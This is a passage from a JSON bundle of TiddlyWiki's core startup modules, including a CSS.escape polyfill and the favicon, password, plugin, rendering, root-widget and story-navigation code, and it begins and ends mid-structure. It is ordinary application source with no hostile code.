"text": "/*\\\ntitle: $:/core/modules/startup/CSSescape.js\ntype: application/javascript\nmodule-type: startup\n\nPolyfill for CSS.escape()\n\n\\*/\n(function(root,factory){\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"css-escape\";\nexports.platforms = [\"browser\"];\nexports.after = [\"startup\"];\nexports.synchronous = true;\n\n/*! https://mths.be/cssescape v1.5.1 by @mathias | MIT license */\n// https://github.com/umdjs/umd/blob/master/returnExports.js\nexports.startup = factory(root);\n}(typeof global != 'undefined' ? global : this, function(root) {\n\n\tif (root.CSS && root.CSS.escape) {\n\t\treturn;\n\t}\n\n\t// https://drafts.csswg.org/cssom/#serialize-an-identifier\n\tvar cssEscape = function(value) {\n\t\tif (arguments.length == 0) {\n\t\t\tthrow new TypeError('`CSS.escape` requires an argument.');\n\t\t}\n\t\tvar string = String(value);\n\t\tvar length = string.length;\n\t\tvar index = -1;\n\t\tvar codeUnit;\n\t\tvar result = '';\n\t\tvar firstCodeUnit = string.charCodeAt(0);\n\t\twhile (++index < length) {\n\t\t\tcodeUnit = string.charCodeAt(index);\n\t\t\t// Note: there’s no need to special-case astral symbols, surrogate\n\t\t\t// pairs, or lone surrogates.\n\n\t\t\t// If the character is NULL (U+0000), then the REPLACEMENT CHARACTER\n\t\t\t// (U+FFFD).\n\t\t\tif (codeUnit == 0x0000) {\n\t\t\t\tresult += '\\uFFFD';\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (\n\t\t\t\t// If the character is in the range [\\1-\\1F] (U+0001 to U+001F) or is\n\t\t\t\t// U+007F, […]\n\t\t\t\t(codeUnit >= 0x0001 && codeUnit <= 0x001F) || codeUnit == 0x007F ||\n\t\t\t\t// If the character is the first character and is in the range [0-9]\n\t\t\t\t// (U+0030 to U+0039), […]\n\t\t\t\t(index == 0 && codeUnit >= 0x0030 && codeUnit <= 0x0039) ||\n\t\t\t\t// If the character is the second character and is in the range [0-9]\n\t\t\t\t// (U+0030 to U+0039) and the first character is a `-` (U+002D), […]\n\t\t\t\t(\n\t\t\t\t\tindex == 1 &&\n\t\t\t\t\tcodeUnit >= 0x0030 && codeUnit <= 0x0039 &&\n\t\t\t\t\tfirstCodeUnit == 0x002D\n\t\t\t\t)\n\t\t\t) {\n\t\t\t\t// https://drafts.csswg.org/cssom/#escape-a-character-as-code-point\n\t\t\t\tresult += '\\\\' + codeUnit.toString(16) + ' ';\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (\n\t\t\t\t// If the character is the first character and is a `-` (U+002D), and\n\t\t\t\t// there is no second character, […]\n\t\t\t\tindex == 0 &&\n\t\t\t\tlength == 1 &&\n\t\t\t\tcodeUnit == 0x002D\n\t\t\t) {\n\t\t\t\tresult += '\\\\' + string.charAt(index);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t// If the character is not handled by one of the above rules and is\n\t\t\t// greater than or equal to U+0080, is `-` (U+002D) or `_` (U+005F), or\n\t\t\t// is in one of the ranges [0-9] (U+0030 to U+0039), [A-Z] (U+0041 to\n\t\t\t// U+005A), or [a-z] (U+0061 to U+007A), […]\n\t\t\tif (\n\t\t\t\tcodeUnit >= 0x0080 ||\n\t\t\t\tcodeUnit == 0x002D ||\n\t\t\t\tcodeUnit == 0x005F ||\n\t\t\t\tcodeUnit >= 0x0030 && codeUnit <= 0x0039 ||\n\t\t\t\tcodeUnit >= 0x0041 && codeUnit <= 0x005A ||\n\t\t\t\tcodeUnit >= 0x0061 && codeUnit <= 0x007A\n\t\t\t) {\n\t\t\t\t// the character itself\n\t\t\t\tresult += string.charAt(index);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t// Otherwise, the escaped character.\n\t\t\t// https://drafts.csswg.org/cssom/#escape-a-character\n\t\t\tresult += '\\\\' + string.charAt(index);\n\n\t\t}\n\t\treturn result;\n\t};\n\n\tif (!root.CSS) {\n\t\troot.CSS = {};\n\t}\n\n\troot.CSS.escape = cssEscape;\n\n}));\n",
"type": "application/javascript",
"module-type": "startup"
},
"$:/core/modules/startup/favicon.js": {
"title": "$:/core/modules/startup/favicon.js",
"text": "/*\\\ntitle: $:/core/modules/startup/favicon.js\ntype: application/javascript\nmodule-type: startup\n\nFavicon handling\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"favicon\";\nexports.platforms = [\"browser\"];\nexports.after = [\"startup\"];\nexports.synchronous = true;\n\t\t\n// Favicon tiddler\nvar FAVICON_TITLE = \"$:/favicon.ico\";\n\nexports.startup = function() {\n\t// Set up the favicon\n\tsetFavicon();\n\t// Reset the favicon when the tiddler changes\n\t$tw.wiki.addEventListener(\"change\",function(changes) {\n\t\tif($tw.utils.hop(changes,FAVICON_TITLE)) {\n\t\t\tsetFavicon();\n\t\t}\n\t});\n};\n\nfunction setFavicon() {\n\tvar tiddler = $tw.wiki.getTiddler(FAVICON_TITLE);\n\tif(tiddler) {\n\t\tvar faviconLink = document.getElementById(\"faviconLink\");\n\t\tfaviconLink.setAttribute(\"href\",\"data:\" + tiddler.fields.type + \";base64,\" + tiddler.fields.text);\n\t}\n}\n\n})();\n",
"type": "application/javascript",
"module-type": "startup"
},
"$:/core/modules/startup/info.js": {
"title": "$:/core/modules/startup/info.js",
"text": "/*\\\ntitle: $:/core/modules/startup/info.js\ntype: application/javascript\nmodule-type: startup\n\nInitialise $:/info tiddlers via $:/temp/info-plugin pseudo-plugin\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"info\";\nexports.before = [\"startup\"];\nexports.after = [\"load-modules\"];\nexports.synchronous = true;\n\nvar TITLE_INFO_PLUGIN = \"$:/temp/info-plugin\";\n\nexports.startup = function() {\n\t// Collect up the info tiddlers\n\tvar infoTiddlerFields = {};\n\t// Give each info module a chance to fill in as many info tiddlers as they want\n\t$tw.modules.forEachModuleOfType(\"info\",function(title,moduleExports) {\n\t\tif(moduleExports && moduleExports.getInfoTiddlerFields) {\n\t\t\tvar tiddlerFieldsArray = moduleExports.getInfoTiddlerFields(infoTiddlerFields);\n\t\t\t$tw.utils.each(tiddlerFieldsArray,function(fields) {\n\t\t\t\tif(fields) {\n\t\t\t\t\tinfoTiddlerFields[fields.title] = fields;\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t});\n\t// Bake the info tiddlers into a plugin. We use the non-standard plugin-type \"info\" because ordinary plugins are only registered asynchronously after being loaded dynamically\n\tvar fields = {\n\t\ttitle: TITLE_INFO_PLUGIN,\n\t\ttype: \"application/json\",\n\t\t\"plugin-type\": \"info\",\n\t\ttext: JSON.stringify({tiddlers: infoTiddlerFields},null,$tw.config.preferences.jsonSpaces)\n\t};\n\t$tw.wiki.addTiddler(new $tw.Tiddler(fields));\n\t$tw.wiki.readPluginInfo([TITLE_INFO_PLUGIN]);\n\t$tw.wiki.registerPluginTiddlers(\"info\");\n\t$tw.wiki.unpackPluginTiddlers();\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "startup"
},
"$:/core/modules/startup/load-modules.js": {
"title": "$:/core/modules/startup/load-modules.js",
"text": "/*\\\ntitle: $:/core/modules/startup/load-modules.js\ntype: application/javascript\nmodule-type: startup\n\nLoad core modules\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"load-modules\";\nexports.synchronous = true;\n\nexports.startup = function() {\n\t// Load modules\n\t$tw.modules.applyMethods(\"utils\",$tw.utils);\n\tif($tw.node) {\n\t\t$tw.modules.applyMethods(\"utils-node\",$tw.utils);\n\t}\n\t$tw.modules.applyMethods(\"global\",$tw);\n\t$tw.modules.applyMethods(\"config\",$tw.config);\n\t$tw.Tiddler.fieldModules = $tw.modules.getModulesByTypeAsHashmap(\"tiddlerfield\");\n\t$tw.modules.applyMethods(\"tiddlermethod\",$tw.Tiddler.prototype);\n\t$tw.modules.applyMethods(\"wikimethod\",$tw.Wiki.prototype);\n\t$tw.wiki.addIndexersToWiki();\n\t$tw.modules.applyMethods(\"tiddlerdeserializer\",$tw.Wiki.tiddlerDeserializerModules);\n\t$tw.macros = $tw.modules.getModulesByTypeAsHashmap(\"macro\");\n\t$tw.wiki.initParsers();\n\t$tw.Commander.initCommands();\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "startup"
},
"$:/core/modules/startup/password.js": {
"title": "$:/core/modules/startup/password.js",
"text": "/*\\\ntitle: $:/core/modules/startup/password.js\ntype: application/javascript\nmodule-type: startup\n\nPassword handling\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"password\";\nexports.platforms = [\"browser\"];\nexports.after = [\"startup\"];\nexports.synchronous = true;\n\nexports.startup = function() {\n\t$tw.rootWidget.addEventListener(\"tm-set-password\",function(event) {\n\t\t$tw.passwordPrompt.createPrompt({\n\t\t\tserviceName: $tw.language.getString(\"Encryption/PromptSetPassword\"),\n\t\t\tnoUserName: true,\n\t\t\tsubmitText: $tw.language.getString(\"Encryption/SetPassword\"),\n\t\t\tcanCancel: true,\n\t\t\trepeatPassword: true,\n\t\t\tcallback: function(data) {\n\t\t\t\tif(data) {\n\t\t\t\t\t$tw.crypto.setPassword(data.password);\n\t\t\t\t}\n\t\t\t\treturn true; // Get rid of the password prompt\n\t\t\t}\n\t\t});\n\t});\n\t$tw.rootWidget.addEventListener(\"tm-clear-password\",function(event) {\n\t\tif($tw.browser) {\n\t\t\tif(!confirm($tw.language.getString(\"Encryption/ConfirmClearPassword\"))) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\t$tw.crypto.setPassword(null);\n\t});\n\t// Ensure that $:/isEncrypted is maintained properly\n\t$tw.wiki.addEventListener(\"change\",function(changes) {\n\t\tif($tw.utils.hop(changes,\"$:/isEncrypted\")) {\n\t\t\t$tw.crypto.updateCryptoStateTiddler();\n\t\t}\n\t});\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "startup"
},
"$:/core/modules/startup/plugins.js": {
"title": "$:/core/modules/startup/plugins.js",
"text": "/*\\\ntitle: $:/core/modules/startup/plugins.js\ntype: application/javascript\nmodule-type: startup\n\nStartup logic concerned with managing plugins\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"plugins\";\nexports.after = [\"load-modules\"];\nexports.synchronous = true;\n\nvar TITLE_REQUIRE_RELOAD_DUE_TO_PLUGIN_CHANGE = \"$:/status/RequireReloadDueToPluginChange\";\n\nvar PREFIX_CONFIG_REGISTER_PLUGIN_TYPE = \"$:/config/RegisterPluginType/\";\n\nexports.startup = function() {\n\t$tw.wiki.addTiddler({title: TITLE_REQUIRE_RELOAD_DUE_TO_PLUGIN_CHANGE,text: \"no\"});\n\t$tw.wiki.addEventListener(\"change\",function(changes) {\n\t\tvar changesToProcess = [],\n\t\t\trequireReloadDueToPluginChange = false;\n\t\t$tw.utils.each(Object.keys(changes),function(title) {\n\t\t\tvar tiddler = $tw.wiki.getTiddler(title),\n\t\t\t\trequiresReload = $tw.wiki.doesPluginRequireReload(title);\n\t\t\tif(requiresReload) {\n\t\t\t\trequireReloadDueToPluginChange = true;\n\t\t\t} else if(tiddler) {\n\t\t\t\tvar pluginType = tiddler.fields[\"plugin-type\"];\n\t\t\t\tif($tw.wiki.getTiddlerText(PREFIX_CONFIG_REGISTER_PLUGIN_TYPE + (tiddler.fields[\"plugin-type\"] || \"\"),\"no\") === \"yes\") {\n\t\t\t\t\tchangesToProcess.push(title);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t\tif(requireReloadDueToPluginChange) {\n\t\t\t$tw.wiki.addTiddler({title: TITLE_REQUIRE_RELOAD_DUE_TO_PLUGIN_CHANGE,text: \"yes\"});\n\t\t}\n\t\t// Read or delete the plugin info of the changed tiddlers\n\t\tif(changesToProcess.length > 0) {\n\t\t\tvar changes = $tw.wiki.readPluginInfo(changesToProcess);\n\t\t\tif(changes.modifiedPlugins.length > 0 || changes.deletedPlugins.length > 0) {\n\t\t\t\t// (Re-)register any modified plugins\n\t\t\t\t$tw.wiki.registerPluginTiddlers(null,changes.modifiedPlugins);\n\t\t\t\t// Unregister any deleted plugins\n\t\t\t\t$tw.wiki.unregisterPluginTiddlers(null,changes.deletedPlugins);\n\t\t\t\t// Unpack the shadow tiddlers\n\t\t\t\t$tw.wiki.unpackPluginTiddlers();\n\t\t\t}\n\t\t}\n\t});\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "startup"
},
"$:/core/modules/startup/render.js": {
"title": "$:/core/modules/startup/render.js",
"text": "/*\\\ntitle: $:/core/modules/startup/render.js\ntype: application/javascript\nmodule-type: startup\n\nTitle, stylesheet and page rendering\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"render\";\nexports.platforms = [\"browser\"];\nexports.after = [\"story\"];\nexports.synchronous = true;\n\n// Default story and history lists\nvar PAGE_TITLE_TITLE = \"$:/core/wiki/title\";\nvar PAGE_STYLESHEET_TITLE = \"$:/core/ui/PageStylesheet\";\nvar PAGE_TEMPLATE_TITLE = \"$:/core/ui/PageTemplate\";\n\n// Time (in ms) that we defer refreshing changes to draft tiddlers\nvar DRAFT_TIDDLER_TIMEOUT_TITLE = \"$:/config/Drafts/TypingTimeout\";\nvar THROTTLE_REFRESH_TIMEOUT = 400;\n\nexports.startup = function() {\n\t// Set up the title\n\t$tw.titleWidgetNode = $tw.wiki.makeTranscludeWidget(PAGE_TITLE_TITLE,{document: $tw.fakeDocument, parseAsInline: true});\n\t$tw.titleContainer = $tw.fakeDocument.createElement(\"div\");\n\t$tw.titleWidgetNode.render($tw.titleContainer,null);\n\tdocument.title = $tw.titleContainer.textContent;\n\t$tw.wiki.addEventListener(\"change\",function(changes) {\n\t\tif($tw.titleWidgetNode.refresh(changes,$tw.titleContainer,null)) {\n\t\t\tdocument.title = $tw.titleContainer.textContent;\n\t\t}\n\t});\n\t// Set up the styles\n\t$tw.styleWidgetNode = $tw.wiki.makeTranscludeWidget(PAGE_STYLESHEET_TITLE,{document: $tw.fakeDocument});\n\t$tw.styleContainer = $tw.fakeDocument.createElement(\"style\");\n\t$tw.styleWidgetNode.render($tw.styleContainer,null);\n\t$tw.styleElement = document.createElement(\"style\");\n\t$tw.styleElement.innerHTML = $tw.styleContainer.textContent;\n\tdocument.head.insertBefore($tw.styleElement,document.head.firstChild);\n\t$tw.wiki.addEventListener(\"change\",$tw.perf.report(\"styleRefresh\",function(changes) {\n\t\tif($tw.styleWidgetNode.refresh(changes,$tw.styleContainer,null)) {\n\t\t\t$tw.styleElement.innerHTML = $tw.styleContainer.textContent;\n\t\t}\n\t}));\n\t// Display the $:/core/ui/PageTemplate tiddler to kick off the display\n\t$tw.perf.report(\"mainRender\",function() {\n\t\t$tw.pageWidgetNode = $tw.wiki.makeTranscludeWidget(PAGE_TEMPLATE_TITLE,{document: document, parentWidget: $tw.rootWidget});\n\t\t$tw.pageContainer = document.createElement(\"div\");\n\t\t$tw.utils.addClass($tw.pageContainer,\"tc-page-container-wrapper\");\n\t\tdocument.body.insertBefore($tw.pageContainer,document.body.firstChild);\n\t\t$tw.pageWidgetNode.render($tw.pageContainer,null);\n \t\t$tw.hooks.invokeHook(\"th-page-refreshed\");\n\t})();\n\t// Remove any splash screen elements\n\tvar removeList = document.querySelectorAll(\".tc-remove-when-wiki-loaded\");\n\t$tw.utils.each(removeList,function(removeItem) {\n\t\tif(removeItem.parentNode) {\n\t\t\tremoveItem.parentNode.removeChild(removeItem);\n\t\t}\n\t});\n\t// Prepare refresh mechanism\n\tvar deferredChanges = Object.create(null),\n\t\ttimerId;\n\tfunction refresh() {\n\t\t// Process the refresh\n\t\t$tw.hooks.invokeHook(\"th-page-refreshing\");\n\t\t$tw.pageWidgetNode.refresh(deferredChanges);\n\t\tdeferredChanges = Object.create(null);\n\t\t$tw.hooks.invokeHook(\"th-page-refreshed\");\n\t}\n\t// Add the change event handler\n\t$tw.wiki.addEventListener(\"change\",$tw.perf.report(\"mainRefresh\",function(changes) {\n\t\t// Check if only tiddlers that are throttled have changed\n\t\tvar onlyThrottledTiddlersHaveChanged = true;\n\t\tfor(var title in changes) {\n\t\t\tvar tiddler = $tw.wiki.getTiddler(title);\n\t\t\tif(!tiddler || !(tiddler.hasField(\"draft.of\") || tiddler.hasField(\"throttle.refresh\"))) {\n\t\t\t\tonlyThrottledTiddlersHaveChanged = false;\n\t\t\t}\n\t\t}\n\t\t// Defer the change if only drafts have changed\n\t\tif(timerId) {\n\t\t\tclearTimeout(timerId);\n\t\t}\n\t\ttimerId = null;\n\t\tif(onlyThrottledTiddlersHaveChanged) {\n\t\t\tvar timeout = parseInt($tw.wiki.getTiddlerText(DRAFT_TIDDLER_TIMEOUT_TITLE,\"\"),10);\n\t\t\tif(isNaN(timeout)) {\n\t\t\t\ttimeout = THROTTLE_REFRESH_TIMEOUT;\n\t\t\t}\n\t\t\ttimerId = setTimeout(refresh,timeout);\n\t\t\t$tw.utils.extend(deferredChanges,changes);\n\t\t} else {\n\t\t\t$tw.utils.extend(deferredChanges,changes);\n\t\t\trefresh();\n\t\t}\n\t}));\n\t// Fix up the link between the root widget and the page container\n\t$tw.rootWidget.domNodes = [$tw.pageContainer];\n\t$tw.rootWidget.children = [$tw.pageWidgetNode];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "startup"
},
"$:/core/modules/startup/rootwidget.js": {
"title": "$:/core/modules/startup/rootwidget.js",
"text": "/*\\\ntitle: $:/core/modules/startup/rootwidget.js\ntype: application/javascript\nmodule-type: startup\n\nSetup the root widget and the core root widget handlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"rootwidget\";\nexports.platforms = [\"browser\"];\nexports.after = [\"startup\"];\nexports.before = [\"story\"];\nexports.synchronous = true;\n\nexports.startup = function() {\n\t// Install the modal message mechanism\n\t$tw.modal = new $tw.utils.Modal($tw.wiki);\n\t$tw.rootWidget.addEventListener(\"tm-modal\",function(event) {\n\t\t$tw.modal.display(event.param,{variables: event.paramObject, event: event});\n\t});\n\t// Install the notification mechanism\n\t$tw.notifier = new $tw.utils.Notifier($tw.wiki);\n\t$tw.rootWidget.addEventListener(\"tm-notify\",function(event) {\n\t\t$tw.notifier.display(event.param,{variables: event.paramObject});\n\t});\n\t// Install the copy-to-clipboard mechanism\n\t$tw.rootWidget.addEventListener(\"tm-copy-to-clipboard\",function(event) {\n\t\t$tw.utils.copyToClipboard(event.param);\n\t});\n\t// Install the tm-focus-selector message\n\t$tw.rootWidget.addEventListener(\"tm-focus-selector\",function(event) {\n\t\tvar selector = event.param || \"\",\n\t\t\telement;\n\t\ttry {\n\t\t\telement = document.querySelector(selector);\n\t\t} catch(e) {\n\t\t\tconsole.log(\"Error in selector: \",selector)\n\t\t}\n\t\tif(element && element.focus) {\n\t\t\telement.focus(event.paramObject);\n\t\t}\n\t});\n\t// Install the scroller\n\t$tw.pageScroller = new $tw.utils.PageScroller();\n\t$tw.rootWidget.addEventListener(\"tm-scroll\",function(event) {\n\t\t$tw.pageScroller.handleEvent(event);\n\t});\n\tvar fullscreen = $tw.utils.getFullScreenApis();\n\tif(fullscreen) {\n\t\t$tw.rootWidget.addEventListener(\"tm-full-screen\",function(event) {\n\t\t\tvar fullScreenDocument = event.event ? event.event.target.ownerDocument : document;\n\t\t\tif(event.param === \"enter\") {\n\t\t\t\tfullScreenDocument.documentElement[fullscreen._requestFullscreen](Element.ALLOW_KEYBOARD_INPUT);\n\t\t\t} else if(event.param === \"exit\") {\n\t\t\t\tfullScreenDocument[fullscreen._exitFullscreen]();\n\t\t\t} else {\n\t\t\t\tif(fullScreenDocument[fullscreen._fullscreenElement]) {\n\t\t\t\t\tfullScreenDocument[fullscreen._exitFullscreen]();\n\t\t\t\t} else {\n\t\t\t\t\tfullScreenDocument.documentElement[fullscreen._requestFullscreen](Element.ALLOW_KEYBOARD_INPUT);\n\t\t\t\t}\t\t\t\t\n\t\t\t}\n\t\t});\n\t}\n\t// If we're being viewed on a data: URI then give instructions for how to save\n\tif(document.location.protocol === \"data:\") {\n\t\t$tw.rootWidget.dispatchEvent({\n\t\t\ttype: \"tm-modal\",\n\t\t\tparam: \"$:/language/Modals/SaveInstructions\"\n\t\t});\n\t}\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "startup"
},
"$:/core/modules/startup.js": {
"title": "$:/core/modules/startup.js",
"text": "/*\\\ntitle: $:/core/modules/startup.js\ntype: application/javascript\nmodule-type: startup\n\nMiscellaneous startup logic for both the client and server.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"startup\";\nexports.after = [\"load-modules\"];\nexports.synchronous = true;\n\n// Set to `true` to enable performance instrumentation\nvar PERFORMANCE_INSTRUMENTATION_CONFIG_TITLE = \"$:/config/Performance/Instrumentation\";\n\nvar widget = require(\"$:/core/modules/widgets/widget.js\");\n\nexports.startup = function() {\n\tvar modules,n,m,f;\n\t// Minimal browser detection\n\tif($tw.browser) {\n\t\t$tw.browser.isIE = (/msie|trident/i.test(navigator.userAgent));\n\t\t$tw.browser.isFirefox = !!document.mozFullScreenEnabled;\n\t}\n\t// Platform detection\n\t$tw.platform = {};\n\tif($tw.browser) {\n\t\t$tw.platform.isMac = /Mac/.test(navigator.platform);\n\t\t$tw.platform.isWindows = /win/i.test(navigator.platform);\n\t\t$tw.platform.isLinux = /Linux/i.test(navigator.platform);\n\t} else {\n\t\tswitch(require(\"os\").platform()) {\n\t\t\tcase \"darwin\":\n\t\t\t\t$tw.platform.isMac = true;\n\t\t\t\tbreak;\n\t\t\tcase \"win32\":\n\t\t\t\t$tw.platform.isWindows = true;\n\t\t\t\tbreak;\n\t\t\tcase \"freebsd\":\n\t\t\t\t$tw.platform.isLinux = true;\n\t\t\t\tbreak;\n\t\t\tcase \"linux\":\n\t\t\t\t$tw.platform.isLinux = true;\n\t\t\t\tbreak;\n\t\t}\n\t}\n\t// Initialise version\n\t$tw.version = $tw.utils.extractVersionInfo();\n\t// Set up the performance framework\n\t$tw.perf = new $tw.Performance($tw.wiki.getTiddlerText(PERFORMANCE_INSTRUMENTATION_CONFIG_TITLE,\"no\") === \"yes\");\n\t// Create a root widget for attaching event handlers. By using it as the parentWidget for another widget tree, one can reuse the event handlers\n\t$tw.rootWidget = new widget.widget({\n\t\ttype: \"widget\",\n\t\tchildren: []\n\t},{\n\t\twiki: $tw.wiki,\n\t\tdocument: $tw.browser ? document : $tw.fakeDocument\n\t});\n\t// Execute any startup actions\n\tvar executeStartupTiddlers = function(tag) {\n\t\t$tw.utils.each($tw.wiki.filterTiddlers(\"[all[shadows+tiddlers]tag[\" + tag + \"]!has[draft.of]]\"),function(title) {\n\t\t\t$tw.rootWidget.invokeActionString($tw.wiki.getTiddlerText(title),$tw.rootWidget);\n\t\t});\n\t};\n\texecuteStartupTiddlers(\"$:/tags/StartupAction\");\n\tif($tw.browser) {\n\t\texecuteStartupTiddlers(\"$:/tags/StartupAction/Browser\");\t\t\n\t}\n\tif($tw.node) {\n\t\texecuteStartupTiddlers(\"$:/tags/StartupAction/Node\");\t\t\n\t}\n\t// Kick off the language manager and switcher\n\t$tw.language = new $tw.Language();\n\t$tw.languageSwitcher = new $tw.PluginSwitcher({\n\t\twiki: $tw.wiki,\n\t\tpluginType: \"language\",\n\t\tcontrollerTitle: \"$:/language\",\n\t\tdefaultPlugins: [\n\t\t\t\"$:/languages/en-GB\"\n\t\t],\n\t\tonSwitch: function(plugins) {\n\t\t\tif($tw.browser) {\n\t\t\t\tvar pluginTiddler = $tw.wiki.getTiddler(plugins[0]);\n\t\t\t\tif(pluginTiddler) {\n\t\t\t\t\tdocument.documentElement.setAttribute(\"dir\",pluginTiddler.getFieldString(\"text-direction\") || \"auto\");\n\t\t\t\t} else {\n\t\t\t\t\tdocument.documentElement.removeAttribute(\"dir\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t});\n\t// Kick off the theme manager\n\t$tw.themeManager = new $tw.PluginSwitcher({\n\t\twiki: $tw.wiki,\n\t\tpluginType: \"theme\",\n\t\tcontrollerTitle: \"$:/theme\",\n\t\tdefaultPlugins: [\n\t\t\t\"$:/themes/tiddlywiki/snowwhite\",\n\t\t\t\"$:/themes/tiddlywiki/vanilla\"\n\t\t]\n\t});\n\t// Kick off the keyboard manager\n\t$tw.keyboardManager = new $tw.KeyboardManager();\n\t// Listen for shortcuts\n\tif($tw.browser) {\n\t\t$tw.utils.addEventListeners(document,[{\n\t\t\tname: \"keydown\",\n\t\t\thandlerObject: $tw.keyboardManager,\n\t\t\thandlerMethod: \"handleKeydownEvent\"\n\t\t}]);\n\t}\n\t// Clear outstanding tiddler store change events to avoid an unnecessary refresh cycle at startup\n\t$tw.wiki.clearTiddlerEventQueue();\n\t// Find a working syncadaptor\n\t$tw.syncadaptor = undefined;\n\t$tw.modules.forEachModuleOfType(\"syncadaptor\",function(title,module) {\n\t\tif(!$tw.syncadaptor && module.adaptorClass) {\n\t\t\t$tw.syncadaptor = new module.adaptorClass({wiki: $tw.wiki});\n\t\t}\n\t});\n\t// Set up the syncer object if we've got a syncadaptor\n\tif($tw.syncadaptor) {\n\t\t$tw.syncer = new $tw.Syncer({wiki: $tw.wiki, syncadaptor: $tw.syncadaptor});\n\t}\n\t// Setup the saver handler\n\t$tw.saverHandler = new $tw.SaverHandler({\n\t\twiki: $tw.wiki,\n\t\tdirtyTracking: !$tw.syncadaptor,\n\t\tpreloadDirty: $tw.boot.preloadDirty || []\n\t});\n\t// Host-specific startup\n\tif($tw.browser) {\n\t\t// Install the popup manager\n\t\t$tw.popup = new $tw.utils.Popup();\n\t\t// Install the animator\n\t\t$tw.anim = new $tw.utils.Animator();\n\t}\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "startup"
},
"$:/core/modules/startup/story.js": {
"title": "$:/core/modules/startup/story.js",
"text": "/*\\\ntitle: $:/core/modules/startup/story.js\ntype: application/javascript\nmodule-type: startup\n\nLoad core modules\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"story\";\nexports.after = [\"startup\"];\nexports.synchronous = true;\n\n// Default story and history lists\nvar DEFAULT_STORY_TITLE = \"$:/StoryList\";\nvar DEFAULT_HISTORY_TITLE = \"$:/HistoryList\";\n\n// Default tiddlers\nvar DEFAULT_TIDDLERS_TITLE = \"$:/DefaultTiddlers\";\n\n// Config\nvar CONFIG_UPDATE_ADDRESS_BAR = \"$:/config/Navigation/UpdateAddressBar\"; // Can be \"no\", \"permalink\", \"permaview\"\nvar CONFIG_UPDATE_HISTORY = \"$:/config/Navigation/UpdateHistory\"; // Can be \"yes\" or \"no\"\nvar CONFIG_PERMALINKVIEW_COPY_TO_CLIPBOARD = \"$:/config/Navigation/Permalinkview/CopyToClipboard\"; // Can be \"yes\" (default) or \"no\"\nvar CONFIG_PERMALINKVIEW_UPDATE_ADDRESS_BAR = \"$:/config/Navigation/Permalinkview/UpdateAddressBar\"; // Can be \"yes\" (default) or \"no\"\n\n\n// Links to help, if there is no param\nvar HELP_OPEN_EXTERNAL_WINDOW = \"http://tiddlywiki.com/#WidgetMessage%3A%20tm-open-external-window\";\n\nexports.startup = function() {\n\t// Open startup tiddlers\n\topenStartupTiddlers({\n\t\tdisableHistory: $tw.boot.disableStartupNavigation\n\t});\n\tif($tw.browser) {\n\t\t// Set up location hash update\n\t\t$tw.wiki.addEventListener(\"change\",function(changes) {\n\t\t\tif($tw.utils.hop(changes,DEFAULT_STORY_TITLE) || $tw.utils.hop(changes,DEFAULT_HISTORY_TITLE)) {\n\t\t\t\tupdateLocationHash({\n\t\t\t\t\tupdateAddressBar: $tw.wiki.getTiddlerText(CONFIG_UPDATE_ADDRESS_BAR,\"permaview\").trim(),\n\t\t\t\t\tupdateHistory: $tw.wiki.getTiddlerText(CONFIG_UPDATE_HISTORY,\"no\").trim()\n\t\t\t\t});\n\t\t\t}\n\t\t});\n\t\t// Listen for changes to the browser location hash\n\t\twindow.addEventListener(\"hashchange\",function() {\n\t\t\tvar hash = $tw.utils.getLocationHash();\n\t\t\tif(hash !== $tw.locationHash) {\n\t\t\t\t$tw.locationHash = hash;\n\t\t\t\topenStartupTiddlers({defaultToCurrentStory: true});\n\t\t\t}\n\t\t},false);\n\t\t// Listen for the tm-browser-refresh message\n\t\t$tw.rootWidget.addEventListener(\"tm-browser-refresh\",function(event) {\n\t\t\twindow.location.reload(true);\n\t\t});\n\t\t// Listen for tm-open-external-window message\n\t\t$tw.rootWidget.addEventListener(\"tm-open-external-window\",function(event) {\n\t\t\tvar paramObject = event.paramObject || {},\n\t\t\t\tstrUrl = event.param || HELP_OPEN_EXTERNAL_WINDOW,\n\t\t\t\tstrWindowName = paramObject.windowName,\n\t\t\t\tstrWindowFeatures = paramObject.windowFeatures;\n\t\t\twindow.open(strUrl, strWindowName, strWindowFeatures);\n\t\t});\n\t\t// Listen for the tm-print message\n\t\t$tw.rootWidget.addEventListener(\"tm-print\",function(event) {\n\t\t\t(event.event.view || window).print();\n\t\t});\n\t\t// Listen for the tm-home message\n\t\t$tw.rootWidget.addEventListener(\"tm-home\",function(event) {\n\t\t\twindow.location.hash = 